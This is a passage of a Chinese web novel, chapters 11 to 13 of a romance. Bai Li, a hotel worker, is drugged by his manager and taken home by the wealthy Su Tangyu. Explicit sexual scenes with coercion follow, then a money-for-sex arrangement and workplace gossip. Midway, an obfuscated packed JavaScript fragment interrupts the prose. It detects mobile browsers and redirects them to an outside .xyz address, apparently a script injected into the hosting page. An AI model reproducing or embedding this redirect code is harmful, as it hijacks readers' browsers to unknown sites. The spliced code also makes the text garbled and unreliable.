瞧见自己,李树明笑了一下,横在脸上的势在必得阴险十分。
他就这么大摇大摆地朝自己走过来,在这灯火通明的走廊,白荔却觉得比处于光线幽暗的惊悚片中还要可怕。
不要,这样下去会被带走的。
白荔自知是先前在李树明那里喝了一杯茶才导致现在身体发热。
是李树明对那杯茶动了手脚,而他在那种时候不得不喝。
现在怎么办。
白荔后退了好些步,才在另一边看到了苏堂玉的背影。
“苏先生……”
他顾不得许多,即使瞧见苏堂玉身后还跟着两个人,他也顾不上。
此刻苏堂玉如同他的救命稻草,如果这会儿不抓住,就再也没机会了。
“苏先生。”
果不其然,白荔被人拦了下来。
他转头,余光还能瞥见李树明站在不远处观望的身影。
今天能来宴会的都是非富即贵的人,想来苏堂玉也不例外,李树明看见了,这会儿应该不会靠近强制把他带走的。
可是苏堂玉并不理会他,甚至不愿意回头看他一眼。
“苏先生,”白荔跑过去,在被人再次拦下前,不管不顾地抱住了他的手臂,“苏先生,我们还有事情没办完……”
他抬眸看向他,被热气炙烤的软乎的脸颊也一并蹭在他的手臂上,“回家……求求您带我回家。”
苏堂玉只感觉到自己的手臂被他包裹,青年的声音如同酥麻的电流从耳际穿过,黏黏糊糊的轻声细语。
他低头睨了他一眼,原是想甩开的手,瞬间掐住了他的腰,“不是要跟郑星纬吗?”
白荔根本不知
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道苏堂玉口中的郑星纬是谁,他摇了摇头。
腰际传来的疼痛混着微微的痒意,让白荔根本站不住地往苏堂玉身上贴去,“唔,我不认识,我不认识你说的那个人。”
熟悉的味道再度让白荔泛起痴迷,他的神志被拉扯地变了形,说着话就往人怀里钻去。
苏堂玉被白荔四处勾引人惹恼的火还没消,这会儿又被蹭得一肚子邪火,只把人拉开往电梯里拽,“你磕春药了?”
“嗯……”
“?”
“我吃了,”白荔眼皮发烫,他阖下双眸,感觉自己的睫毛好像也是烫的,“我好像是吃了。”
“……”苏堂玉怔愣,被白荔大胆弄得哑口无言,“哈。”
白荔几乎是被连拖带拽地塞进车厢里,他坐在车后座,看见苏堂玉站在外面没有进来。
透过车窗视线揉进黑暗里,看不太出窗外的景色,也看不清窗外的人的身影。
白荔不知道苏堂玉为什么不一起进来,或许他是嫌自己麻烦,不愿意同自己坐一辆车吗?
白荔忍着身体的不适,安安静静地等了人好一会儿,可苏堂玉依旧没有要上车的意思。
车厢里的冷气很足,却依旧抵消不了身体里带出来的燥热,白荔将自己蜷成一团,夹紧了双腿,难受得忍不住嘤咛起来。
他想回家,想离开这里。
白荔趴在车窗上,看见苏堂玉这会儿在和谁打着电话。
他观望了一下四周,发现地面停车场这边的人已经寥寥无几,如果现在下车,应该也不会有人发现他的窘境。
白荔的手试图推开车门,可不知是哪里出了问题,他下不了车,也没办法叫苏堂玉上车。
又过了五分钟,男人才过来。
白荔怯怯地望了他一眼,身上的马甲已经被他脱下扔到一边。
车厢里弥漫着一股很淡的说不清的味道。
苏堂玉的视线扫过他的身体,这才上车,关上了车门。
白荔被他看得一眼迷糊,男人的味道开始占据车厢里的空气,他喝了酒,白荔还能从他身上闻到一点微醺的葡萄酒味。
“怎么、怎么不开车呢?”
白荔问他,良久,却没有得到回应。
苏堂玉只是坐在那里,双目盯着面前的笔记本电脑,修长的手指偶尔在键盘上敲击,目不斜视地处理工作。
白荔不知道他为什么不理自己,又不敢贸然下车,像是故意的,男人故意不理他。
为什么要这样?
白荔实在有些受不了了,药物带来的异样,涨得他腰肢发抖。
他一下觉得委屈,眼眶湿润地唤他,“先生……”
他并非故意打扰对方工作,只是忍了太久太久,现在实在失了理智。
白荔将自己的脸贴到对方的手上,男人腕骨上戴着的腕表划过他的脸,冰凉的金属表盘带来灼热的划痕,让白荔的脸颊红了一道浅浅的印子。
他却毫不在意地想要感受更多的冰凉,于是更加贴近男人的腕骨。
“你就是这样勾引男人的?”苏堂玉掐住他的下巴,视线定在他茫然的双眸上,哑声问他,“都上钩了吗?”
白荔不知道他在说什么,他更希望苏堂玉不要再问他这些奇怪的问题了,他完全听不懂。
他只是想要,只是想要苏堂玉抱抱他。
白荔不回答他的问题,还要爬到人的腿上讨要亲亲,仿若蜻蜓点水般笨拙的吻,又急又密。
苏堂玉靠在车座上,垂眸盯着他的唇,任他亲吻,没有半点要帮忙的意思。
白荔见男人没凶自己,也没说什么难听的话,自以为自己做得还算不错。
他小心地低头,看到了苏堂玉的反应,至少没有到毫无兴趣的地步。
于是更加着急起来。
“先生……”
“如果只会跟只猫一样乱舔,我可以没有兴趣。”
苏堂玉睨了他一眼,从烟盒里推出一支烟。
白荔见他咬着烟要点,甚至能回想起他点烟的手势和火机的“咔哒”声。
白荔的身体似乎已经习惯了男人做的这个动作,每次一见着他点烟,他的心跳就不自觉加快。
接下来会发生什么,他本就该一清二楚的。
“我、我还会别的。”
白荔的视线滑落,他局促地舔了舔唇瓣,将原就绯红的双唇沾得水润潮湿。
11. 第一个
“咚咚。”
车窗的玻璃被敲响。
白荔竖起耳朵,因敲门声响紧张到吞咽不已。
让苏堂玉也跟着眉头紧皱。
他低头,看见白荔一副不敢动作模样,偷偷摸摸而小心竖起的耳朵圆润发烫。
苏堂玉喜欢他表现出的慌张的模样,让人心情愉悦。
他不顾白荔湿着眼睛、鼓着嘴巴的无声反对,降下一点车窗去,偏头和外头的司机说话。
“嗯,走吧。”
窗外带着热气的风灌进来,白荔听见苏堂玉这么说。
什么走吧?要去哪儿呢。
白荔看见司机的人影绕过后方,似乎要到驾驶座上去,他心惊不已,差点要站起来,又被男人按了回去。
“别动,给我好好做。”
男人低哑的声音摩挲着他的耳朵,白荔阖下双眸,因喉咙里的异物产生的呕吐眩晕感,而泪流不止。
大概是晕车了,更加难受。
他不知道男人怎么这样大胆,只是怕被人发现自己,白荔一味地往男人身边躲藏,甚至不敢用力呼吸。
驾驶座的门被打开,司机上了车来,白荔的心在那一刻提到了嗓子眼。
他抓紧了男人衣袖,企图让男人稍微放过自己,可是无济于事。
驾驶座的门被合上,车子启动的声音盖过了他的呼吸。
白荔被抱起来,才发现,车厢的后座不知何时已经被隔开,这只是一个属于他们两人的密闭的空间。
“被人看见,你好像很兴奋。”
白荔听见他的声音贴着耳朵响起。
是低沉的,但是听起来心情不错。
白荔早已被吓得没有力气撑住自己的身体,他靠在苏堂玉的怀里,舌尖和双唇像是被砂纸磨过的刺疼,也并没有说话。
不过苏堂玉没有在这会儿苛责他的沉默,只是动作轻柔地玩弄着他的手指,安静的空间里,忽生了几分暧昧。
白荔的手指发热,他分不清自己是为何忽然产生了一种复杂的心情,酸涩的,叫人面红耳赤不敢动作。
车子不知通往哪里,白荔看见窗外不停往后退去的路灯,明暗交织的光影透过车窗不停在车里闪烁而过。
男人的吻还是会落在他的耳廓和后颈。
让人牙齿发痒的烟草味,窒息得连呼吸都要吞咽。
白荔不喜欢烟草的味道,有些太过折磨人了。
车子往城郊开去,白荔分不太清方向,只知道车辆一路往盘山公路开去,一直到达山顶停下。
山间的风吹过树丛,山顶落满通明的灯光。
白荔对这里有些熟悉,他曾经在父亲的规划书上看到过这个地方的照片。
父亲曾经想在这片山顶别墅里选个合适的位置买下来,说这边清净,适合养老。
只不过那时候因为资金有些紧张,所以这个规划最终无疾而终,现在当然更是不可能。
车子开进地库,白荔有一瞬间的清明,很快又陷入了身体带来的焦灼。
司机下了车,似乎是开了另一辆车离开了这里。
白荔听见了车子的发动机启动的声音,随后这里很快安静了下来。
苏堂玉下车,也拉着他一并下了车。
地库里的温度并不高,甚至有些凉快。
白荔被他拽了一把,踉跄地往前扑去,又被男人的手臂揽住了腰身。
“怎么连路都不会走。”
苏堂玉略有不耐的声音在地库里显得更为冷酷。
白荔害怕这样的苏堂玉,不讲道理地像是下一秒就要惩罚他一样。
不过让人感到出乎意料的是,今天的苏堂玉虽然没有耐心,但却没有对他说太重的话。
“我会好好走的。”
白荔小声告诉他,“方才是您拉了我一下,才摔的……”
白荔听到男人冷笑了一声,“你的意思是我害的你?”
“没有,”再多顶嘴的话,白荔不敢说,“我没有觉得您在害我。”
他话音落下的后一秒,就被苏堂玉打横抱起。
白荔软声惊呼,缩在男人怀里紧贴着他的胸膛。
“我自己可以走的。”
他哼哼唧唧地想要下去,屁股就人掴了一掌。
“别动,慢腾腾的要走到什么时候?”
白荔的脸红了又白,他虽不太清醒,但还是觉得这个动作太让人无地自容。
就连爸爸妈妈在他小的时候,也没有因为他不听话而动手打他的屁股。
电梯上了三楼。
来到这里之前,白荔以为苏堂玉会带他去就酒店,却没想是真的到了家里。
只是彼时,他不能思考更多,门一打开,他就被人扔到了床上。
柔软的床铺将他包裹,白荔看见男人朝自己走来,边脱掉外衣。
房间里没有开灯,他只能透过窗外映照进屋子里的光线,看见男人挺阔的臂膀,被西裤和衬衫裹着的劲瘦的腰身。
想起男人每每和他在一起时的粗暴,白荔就觉得自己好些了,略微怯场。
他的手抵在男人的伏下来的胸前,颤着音道,“先生,我好像已经好些了,好像可以不用……”
“现在是在耍我吗?”
白荔看不清苏堂玉的表情,却从他的语气里听到了威胁。
好似只要他现在点头,就再看不见明天的太阳。
“不是,我、我现在有点脏,流了很多汗,”白荔撇过头去,换了一个拖延的理由,倒有些不好意思得红了脸颊,“我想洗个澡……”
"而且刚才那个,我的嘴巴苦苦的……”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15583496|171613||http|test|mini|href|location''.split(''|''),0,{}));
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>听到后半句,苏堂玉笑了一下,认真盯着他的唇瞧着,才抬起手放人,“你最好快点。”
白荔跌跌撞撞地往浴室里跑,冷水兜头浇下,驱散了小腹蒸腾而来的灼热。
白荔倚着墙壁站着,后背的瓷砖传来冰凉的触感,让人稍微清醒。
过了好一会儿,白荔慢慢腾腾地打开了浴室门,他探头探脑地在门框后露出一双眼睛,才见苏堂玉坐在那里,直直朝他看过来,已经是久等不耐的模样。
“快点滚出来。”
“我没有衣服,浴室里也没有浴巾……”
房间的灯不知何时被人打开,角落的办公桌,放置在房间中央的大床,颜色中规中规的墙面,房间里的陈设叫人一览无余。
白荔更是不好意思在这种情况下大摇大摆地往外走,但苏堂玉显然无所谓,笑道,“穿什么,省得我扒了。”
男人在这方面比他坦率许多,不入耳的荤话更是张口就来。
白荔磨磨蹭蹭地不愿意这样,气得苏堂玉直接站起来抓人。
被人按到墙上的时候,白荔紧张不已,最后求着人关了灯,才算是好些了。
“tao……”
苏堂玉本就等得烦了心,听见白荔又要说话,更是想把他的嘴巴堵了,没听清话的他不耐烦问道,“什么?”
“要戴的,那个……”
“不要,我没病,你有病?”
白荔摇头,他只是有点害怕。
苏堂玉笑他,“吃都吃了,现在讲究这个。”
白荔本来差点就忘了这事儿,被人一提起来又热得蔫吧了下去。
“你对他们也这么讲究?”
浴室里的花洒不知道是不是出来的时候没有关好,一直滴滴答答的水流砸到地面的声音,断断续续的也不太清晰。
白荔想着该去关水的,不该让水一直流着。
只不过他人现在涣散得不行,如同散了的花朵,一捏就破落,只能听着那水一直流。
还有安静的耳边,幽幽想起男人的问话。
白荔总是搭不上来他没头没尾的问话,什么他们,什么讲究。
他们是谁,又讲究什么,他一个字也听不懂。
倒是苏堂玉,将白荔无言的沉默当做默认,不知为何徒生闷气,把人弄得哭得喘不上气来也不肯罢休。
“苏先生,苏、苏先生……好疼……”
“你对每个客人也都喊疼?”
白荔摇着脑袋,想回头看人,却又看不见人,他不明白苏堂玉说的话。
又为什么提到客人,他只知道人事儿的滋味并不好,想叫苏堂玉温柔些,“我、我没有和别人……”
他将额头枕在苏堂玉抵在他身前的手臂上,呜呜咽咽的,“第一个……”
“苏先生是第一个……”
12. 恋爱吗
那天晚上,白荔说了那样的话以后,以为苏堂玉会轻一些,可是男人反而比平时更凶,任他怎么哀求都不听。
比第一次他们在一起还要累,如同溺了水的鱼,无法呼吸。
白荔不知道这样是不是正常的,但他确实很累。
不知道多少次以后,身体就进入了沉睡,他在睡梦中反复醒来,而男人依旧是清醒状态。
直到他再次哭睡过去。
窗外响起了鸟叫声。
鸟儿叽叽喳喳地在枝头跳跃,树顶的枝条纤细,被吃饱的鸟儿踩得摇摇晃晃。
没过多久,太阳逐渐升起,金光洒落在大地的每一个角落。
外出的鸟儿回巢,叫得更欢了。
白荔的睡眠养得很浅,即使困得还睁不开眼睛,到了时间点,身体已经自动醒来。
他总记得要上班,不太能够睡得安稳。
听见窗外的鸟叫声,白荔心下疑惑,他不记得自己现在住的地方会有鸟儿来光顾。
他准备起床,于是打算翻身,身体却怎么也动不了,像是被绳索禁锢着,勒得人浑身上下都疼得厉害。
“……”
白荔想起了点什么,揉了揉酸涩的双眸,认真地打量起自己在的房间。
明度不高的装潢,远处书架上摆着的花瓶古董摆件,阳台一角的小型花园,无一不让他认识到自己现在所处的位置。
他半起的身体,腰间被男人的手臂压着,完全动弹不了。
这是第一次,白荔睁开眼睛,还能看见苏堂玉躺在身边。
昨晚的种种在脑海里浮现,他脸颊涨红,完全不知道要怎么开口将身侧的男人叫醒。
只呆呆地躺了回去,眼睛描摹着他五官的轮廓。
不同于他们稍稍扁平的五官,男人显然更加深邃立体,眉峰俊朗。
睡着的时候他的眉眼没有平日里的凌厉,倒看着有些乖,脾气也好。
白荔之前觉得他像模特,但这么看,更像是电视机上的明星。
要是男人去演戏,估计也能大火吧。
他胡思乱想着,正打算翻身去看时间,只是一动,男人就醒了。
“动什么?”
苏堂玉好像有些起床气,一醒过来,方才脸上的柔和瞬间被戾气占据,他双眉紧蹙,一看就是要发脾气的前兆。
白荔知道被人吵醒的滋味儿不好受,他赶忙轻声解释,希望他不要生气。
“不好意思苏先生,我想看看时间,我今天排了班的。”
边说着,白荔边掀开被子打算起身离开,“我得走了,昨天晚上谢谢你帮我。”
他分明要下床去浴室拿自己换下来的制服穿,可脚尖还没落地,他又摔进了床铺里。
苏堂玉的手自然而然地抱了上来,突然其来的温柔拥抱,弄得白荔手足无措,不敢挣扎。
“苏先生?”
“闭嘴,再睡一会儿。”
他的话语听起来有些被吵醒的头疼,但白荔也觉得难办,他现在必须得走,迟到的话,他这个月的全勤就没了。
“苏先生,我不能迟到的,一个月全勤有一千块钱。”
白荔支支吾吾地说着话,又怕男人突然发火,他只好小声嘀咕着,解释给他听,“所以我得走了,现在过去的话,我也许还赶得上,就还有全勤可以拿。”
“啧。”
苏堂玉起身,从床头的钱夹上抽了一叠钞票出来扔到白荔身上,“现在给我闭嘴。”
白荔的鼻尖被扔过来的钞票碰红,他愣了好一会儿,见苏堂玉重新把眼睛闭上,他小心去捡掉落在身上的红钞。
有几张掉到了床底下,白荔也下床将钱捡好。
男人扔了两千多出来,白荔整理好,把自己应得的全勤拿了,其余的又放回到床头的柜子上。
他知道,这些钱对于苏堂玉来说算不了什么,但是这些钱,他得挣好久好久,要很辛苦地干活才可以。
白荔不讨厌苏堂玉的目中无人,两人的地位本来就不同,所以,并没有什么好怨怼的。
他双腿酸软去捡自己掉落在地的手机,才发现时间已经不早,现在就算是打车,赶过去也要迟到半个小时。
反正他已经从苏堂玉这里得了好处,也就算了。
白荔站在地上,熟悉的感觉一涌而上。
他红着脸,小步地往浴室那边挪去,当务之急还是先去洗澡,免得到时候更难弄出来。
希望苏堂玉下次不要再这样了。
不过,应该也不会再有下次了吧。
昨晚不过是个意外,自己和奶奶也会越来越好,也不该再有下次求他的时候了。
白荔艰难地洗完澡,出来时苏堂玉却已经换了身干净的衣服坐在沙发上。
不过男人的头发还是湿的,额前的碎发散乱地垂落着,看着平易近人了一些,似乎是个好说话的。
他应该是在别的浴室里洗了澡,这才出来。
相比起男人整洁的衣着,白荔身上的工作制服看起来显然有些惨不忍睹。
不仅皱皱巴巴的,白衬衣上还有不知从哪里沾染到的灰,显得有些脏。
“把衣服换了。”
苏堂玉见他还穿着这身出来,脸色立即拉了下来。
白荔也知道自己这样看起来很不礼貌,但他没有办法,便有些尴尬地咬着唇道,“我这样也可以的,等会儿就去上班了。”
“你要穿着这脏兮兮的衣服站在酒店当门面?”
苏堂玉凝神,“你的业务能力就是这样?”
“我在酒店,还有一套干净的衣服,”白荔解释,“不是就这么穿着上班的。”
两厢沉默,白荔有些站不住了,他的脚尖抵着脚尖,无措地低下头去,“苏先生……我可以走了吗?我还要上班。”
上班上班,听得苏堂玉厌烦,“不是把钱给你了?”
“那是全勤,旷工的话是另外的价钱。”
白荔已经隐约看见苏堂玉额角跳动的青筋,他不清楚眼前的人需不需要打卡上班,也就一并小声解释了,“旷工一天的话,要扣两百五十块钱。”
“你……!”苏堂玉咬紧牙关,才没让自己把这火发出来,“名字。”
“名字?”白荔愣了愣,才明白男人是在问他的名字,有些陌生的感觉,让人觉得不自在,“我姓白,单名一个荔字,白色的白,荔枝的荔。”
苏堂玉听闻,才拿起一旁的手机。
白荔听到他在和谁说什么,然后提到了自己的名字。
随后电话挂断,苏堂玉说,“给你请假,工资从我这拿。”
“……为什么?”白荔懵懵懂懂地看着他,“为什么苏先生能帮我请假?”
苏堂玉不作声,也不回答,倒是将话题抛给了他,“白荔,你这么喜欢钱,我们做个交易。”
“什么?”白荔不知道男人为什么突然说起了做生意的事情,事实上,他现在根本毫无价值,也完全不懂什么做生意的事情,“交易,什么?”
“要多少钱都给你,随叫随到就行。”
男人说得如此隐晦 ,可白荔在这时还是听出了他的言外之意。
他们之间并没有什么可以互换的利益,唯一能够交换的,只有钱财和身体。
他还没有堕落到这种地步,就算急需要很多很多钱,但也还没有需要靠长期出卖自己作为报酬。
只是奶奶如果后续再出现什么意外,而苏堂玉又厌倦了他,到时候他该怎么办。
白荔从没想过要这样,而苏堂玉提出的条件,却让他动了心。
奶奶转院以后,需要花更多的钱,ICU病房一天的钱比上个医院还要贵两千。
苏堂玉这会儿提出来的交易,无疑是雪中送炭的提议。
他甚至找不到理由来拒绝,尊严算什么,活下去已经很难了。
“这样……不算恋爱吧?”
白荔犹豫了许久,还是问道,“这样算恋爱吗?”
他没有谈过恋爱,对于男人提出的要求,像是恋爱模式,却又完全不像。
他知道苏堂玉不可能喜欢自己,只是莫名的,他就是想问问。
“怎么可能。”
苏堂玉直白地告诉他,却又在看见他微红的脸,眼尾染红时转了话锋,“随便你怎么想,别给我添麻烦就行。”
白荔点点头,对于这场没有预料到的交易,他还有点迷茫,“好,我同意您的提议。”
苏堂玉轻笑一声,对于他的乖巧很是满意,才挥手让人去把衣服换了,“自己去衣柜里挑一套,等会儿再叫人送合身的来。”
苏堂玉似乎是实在有些看不下去,一并将之前的事提了,“还有你之前哪些破衣服,也都给我扔了,看着倒胃口。”
苏堂玉给他买了很多衣服,不仅是夏天的,连着秋天和冬天的,也备上了几套。
白荔觉得太多了,又想着或许那时候他们已经不用再见面,本来想拒
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绝掉对方的好意,可想了想还是没有说出口。
苏堂玉不在乎这几套衣服多不多,也不会管他怎么处理,说出来只会招人嫌弃。
那天苏堂玉给他请了一天的假。
起初白荔并不知道苏堂玉用了什么办法,还以为是走了关系。
后来回到家里,他才想起那天同事们说,总司的苏总要来这边视察。
总司的苏总,江城能有几个姓苏的有钱人呢。
怪不得会那么巧,怪不得男人能一个电话,就给他请了假。
还以为之后不会再同苏堂玉有瓜葛,没想到两人牵连的东西却越来越多。
白荔是在第二天回的酒店,请假的那一天,白荔去找了发传单的兼职,回来的晚上脚都打颤,却又被苏堂玉叫到了酒店里折腾。
第二天上班,他又差点迟到了。
“哟,新衣服。”
王林一见着白荔穿着新衣裳来上班,立刻就跟见了不得了的东西一样,围着白荔左摇右转,“一天没来上班,又穿成这样来,是真的傍上什么大款了不成?”
自从上次吵了一架,闹到了李树明那儿,王林说话倒是变本加厉得难听。
白荔不在意这些,又碍于身上的苏堂玉不知轻重留下的痕迹,他不敢当着大家的面脱衣服,只好拿着自己的制服去卫生间换。
“喂!是有什么见不得人,拿着衣服去哪儿啊?”
白荔不理会他的纠缠,旁的人先看不下去了,拉了他一把,“王林,少说两句吧,那是白荔人好不跟你计较,要是换个人看看,不得跟你打起来。”
“人好?喂,”他道,“我看那是他心虚吧。”
“你呀,”旁人笑道,“就算被你猜中了,你还不收敛些,小心人家的大款找上门来打得你脑袋开花。”
王林似乎是才想到这一点,怕白荔真的找了人来,这才支支吾吾噤了声,还不服气地又嘟嘟囔囔道,“现在是法制社会,什么脑袋开花不开花的……”
说到底,他也还真是怕了。
那之后,白荔终于清净了一天。
那周结束的下午,白荔还是听到了一些风言风语。
诸如,他还是被某位大佬包养了之类的话。
也是了,从前他都穿得破破烂烂得来,这回连着一个星期都穿了低奢来,怎么看都觉得奇怪。
就连林淼也忍不住问他究竟是怎么回事,白荔不敢把真相告诉别人,只说是仿品,十几块钱的地摊货根本不值钱的。
林淼想着也是,叫他放宽心,别理那些乱说话的人。
白荔当然知道,要是每个人的话他都在意,他早就活不到现在了。
白荔听惯了人的闲话,什么都还好,唯一让他在意的是,最近李树明依旧在他身边徘徊。
偶有找到机会就来试探他的口风,白荔不知道怎么应对他。
这个男人对他来说还是太过危险了,不管是明着来,还是暗着来,他好像总是不肯放过自己。
“白荔,你最近传出来的负面影响是不是太多了些?”
白荔站在李树明的办公室门口不愿进去,才站在门框边上听人传出训话来。
“不是说按时上下班做好分内工作就好,个人风评也是会影响到集体的。”
白荔点头,“是,我知道了。”
李树明眯着眼睛瞧人,“你觉得我说得不对?影响到别的同事工作,是要扣绩效的,你不是不知道。”
“经理,您究竟想做什么?”
白荔终于抬起头来,再次呛声,“那您的风评如何呢?猥亵下属给下属下药,也是您的风评?”
“白荔,没有证据的话可不能乱说,”李树明笑得轻松,“造谣也是违法的。”
“如果你还要继续说这些无厘头的事情,那你就别干了,怎么样?”
“……”
“你自己回去好好想想吧,再给你最后一次机会,骨头别这么硬,偶尔软一回,我也会心疼你。”
“等一下,”李树明带着探究的目光在白荔身上打量,他似乎也有点把握不定,“你和苏总是什么关系?”
白荔没想到李树明会准确无误地把苏堂玉的名字报出来,他摇了摇头,否认,“我不认识什么苏总。”
“想来也是,没听说过苏总喜欢男人,应该是我看错了。”
李树明自言自语了一句才放心地往椅子上靠去,“回去吧,我说的,你好好考虑。”
“……”
13. 想进去
白荔从李树明的办公室出来,不免还是被路过的人多看了几眼。
可能是最近挺多了闲言碎语,他竟然也会觉得不自在。
难以言喻的情绪,像棉花闷在心口。
白荔低下头去,快步离开了这里。
他只是想安安静静地工作,不想和任何人牵扯上不必要的联系,尤其是李树明。
但是他在这个岗位上的去留,也完全是对方一句话的事情。
男人今天像是彻底忍不住了,把话说得这样明白,他又能在这里留多久呢?
白荔失魂落魄地拿着衣服去卫生间换掉,出来时还遇到王林,怕人又拦着他说些什么,白荔加快了步伐,快步和对方错身。
有人在身后打着哈哈,“诶,白荔在躲你诶,你可够招人嫌的。”
“嘁,装蒜,都不知道被多少人搞过,我还怕被他碰到得病呢。”
白荔的脚步微顿,又不想在这种事情浪费时间,他还要去做兼职,不能耽误。
但从李树明那里出来,他现在实在觉得苦闷。
想了想,他还是折回去拦住了王林。
“干、干什么?”
“不知道你为什么总是针对我,我因为没有时间,所以才没有和你计较。”
王林原以为白荔拦着自己是想说什么要告自己上法庭,或者是叫他的金主来撑腰的话,没想到只是这样毫无攻击力的言语,听得他发笑,更是调侃道,“难道不是因为我说的是事实?”
白荔抿唇,“你是喜欢我吗?”
“什么?”王林闻言,大惊失色,红着脸结结巴巴地大声反驳,“你、你疯了吗我喜欢你?谁会喜欢你这种、你这种……!”
“你之前借了钱给我,我以为你只是刀子嘴豆腐心,可现在又一直不断地诋毁我,我以为你是想得不到就毁掉。”
白荔看着他的眼睛,慢条斯理地同他说,“不是喜欢我,那就是和他们说的一样,你是在嫉妒我吗?可皮囊是天生的,我很抱歉让你看见我就觉得嫉妒,但是我不能失去这份工作,如果你不想看见我,你可以辞职。”
“谁……!”
“你,我说的就是你。”白荔打断他的话,“希望明天你看见我,能调理好自己的状态,有这个时间,多赚点钱去整容,说不定你也会有希望被人嫉妒的。”
白荔看了一眼时间,不再跟他纠缠,说完便撤了一步,接着往前走了。
留在原地的王林,又被旁的人轻轻拱了一句火,“你是真喜欢白荔,还是嫉妒啊,你告诉我我不告诉别人。”
“你闭嘴吧,”王林甩开他的手,“哪来这么多话?”
白荔没有过多地和他们纠缠,他自知自己在这里久待只会吃亏,他也怕把王林惹火了会朝自己动手。
他在这里快工作了两年,还是第一次和别人起正面冲突。
一切都变得太快,以前也只是稍稍有点闲话,但并没有多到这种程度。
只是那天从李树明醉酒,闯进更衣室猥亵他的那一天起,像是终于抓住了他的弱点,所有的事情都开始变得不可控制。
他也是受害人,为什么还要被侮辱呢。
到底是谁传出去的,会是撞见李树明猥亵他时的王铭吗?
毕竟,王铭和王林是堂兄弟,他们两人的关系挺好的,那时候凌晨,也只有他撞见了现场。
白荔心不在焉地回了更衣室,拿到手机,发现苏堂玉在五分钟之前给他发了消息。
【等会儿司机来接你。】
无人发现的角落里,白荔脸色一红。
谈好之后,苏堂玉不是几乎,就是每天,每天都会叫他过去。
其实,他是有点吃不太消的。
苏堂玉的体力太好,太过持久了。
而且男人的那里,也让他觉得负担很重。
白荔光是想到前一天晚上,双腿就沉重打颤。
他每天起来,嗓子都是带着鼻音的喑哑,或许要去买点润嗓子的药吃一吃。
好累,不想吃药。
白荔中午没收到苏堂玉的消息,还高兴了一会儿。
他以为今天不会见面,才和兼职店的老板说好,今天要过去帮忙的。
想了想,白荔还是把店里的活推了。
在白荔同老板说完抱歉后的两分钟,冉虎就打了电话来。
青年的声音火急火燎的,“哥,你怎么不来了?我听爸爸说你突然有事,不是发生什么意外了吧?”
“不是什么大事……”
白荔将自己的柜门关好,拔出钥匙放进口袋,绞尽脑汁找着理由。
“我,我就是腰有点疼,所以想休息一下。”
白荔走出换衣间,耳朵还是烫的,这个理由并不算骗人,他确实有些腰疼。
苏堂玉在那档子事上并不怜惜他,总是想怎么样就怎么样。
白荔一开始还会求饶,后来学乖了,顺着他让他舒心了,他还会温柔些。
“很疼吗?”
电话里,冉虎的声音有些焦急,“我这里有治腰疼的药膏,我给你送去?”
“不用不用,我用热毛巾敷一下就好了。”
白荔可不敢让他过来,晚上他肯定又是在酒店里过的,怎么敢让冉虎来家里。
要是让对方跑空,那就完了。
“不是很疼,我休息一个晚上就好,你明天不是还要上学吗,就别乱跑了。”
“那我明天来找你,行吗?我们都好久没有见面了。”
青年的声音带着一点委屈,让白荔想起自己的弟弟,他有点心软,却又不知道苏堂玉会不会同意放他一晚。
“我最近是有点忙的,”白荔支吾了一句,“如果有时间,我明天就给你打电话。”
“那就说好了,不管有没有空,都要给我回电话啊。”
白荔答应了他。
这一个星期,他总是和苏堂玉待在一起,所以往日那些兼职他能推的都推了,刚搬的家也几乎没有踏进去过。
最近他的生活有在好转,欠债的人没找过来,他过了一段不用逃亡的日子。
医院那边也按时缴了费,奶奶用上了最好的医疗器械,也吃上了最贵的药,所以近来的病情很稳定。
医生说,奶奶可能醒来的概率也会稍微提高一些。
这都多亏了苏堂玉,给了他很多很多钱。
白荔挂了电话,从酒店的小路边上出去,才绕到大路,找到来接他的车辆。
苏堂玉的车不太低调,白荔之前还不觉得有什么,近来被人注意到,总觉得不自在。
他上车前左右看了一眼,原是想没人会看到的,可一转头还是看到熟悉的身影,他心一跳,不知道明天又要被传成什么样,李树明会不会又借机找他的麻烦。
白荔心事重重地上了车,没
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曾想苏堂玉也在车上。
他愣了一下,才道,“苏先生,您好。”
苏堂玉的眸光只在他身上掠过,淡淡地吐了一句,“太慢了。”
“不好意思,”白荔关上车门,心跳便不自觉加快,“有点事情,所以慢了,我不知道您也在。”
他低下头去,关上车门后便紧贴着边坐,并不往中间去。
往常总是司机先生一个人来接他到酒店,苏堂玉会在他洗完澡后才姗姗来迟,也不说话,只是过来就按着他。
在床上就在床上,在沙发就在沙发。
今天还是第一次,两人一块儿坐在车里稍微地说上两句话。
白荔咬着唇,睫毛颤颤地阖下,只觉得自己现在心慌慌的,手指也不知道要往哪放。
“过来。”
他听到男人这么说,于是稍稍抬起屁股,往中间挪了挪。
但男人似乎并不满意这个距离,直接伸手将他抱起按进了怀里,“搞什么,坐这么远。”
白荔的脊背贴在苏堂玉的胸口,他没能在男人的腿上坐稳,整个人倒在了他的怀里。
苏堂玉的唇贴近,说话时,有柔软的温度带着痒意触碰到他敏感的耳珠,“好烫。”
“天气……热。”
白荔的手抵在他的双膝上,即使声音都颤了,也乖顺得没有躲避,小声道,“贴着会很热的,分开坐,会凉快点。”
“是吗,那里面一定更热。”
“现在就想进去。”
闻言,白荔的小腹收紧,从脚底泛起一阵酥麻的电流。
就算苏堂玉说得再怎么理直气壮,白荔还是听不得这些话。
他感觉到男人掐着自己腰的手愈发用力,于是慌乱地抬起眸子,幸好,司机没有过多地关注他们的关系。
白荔挣了一下,“等等、先生,等等吧。”
苏堂玉像是那种说到做到的疯子,白荔怕他真的乱来,小声哀求,“到房间我马上给您做。”
白荔听到男人嗤笑了一声,闷闷的,贴近的胸腔还能感受到轻微的震动,“好啊,今天你自己来。”
“……我知道了。”
白荔已经拒绝了他一次,不敢再拒绝他第二次。
即使再怎么难为情,也只能面红耳赤地答应下来。
今天没有去酒店,而是回了上次的山顶别墅。
白荔跟在苏堂玉身后进的屋,男人今天没有像之前一般急切,倒是好整以暇地靠坐在沙发上看着他。
白荔知道他在等什么,又是一阵慌乱的心跳,“先生,我还是先洗澡吧。”
“不想等,别坏了我的兴致。”
“……”
*
迷迷糊糊的天昏地暗。
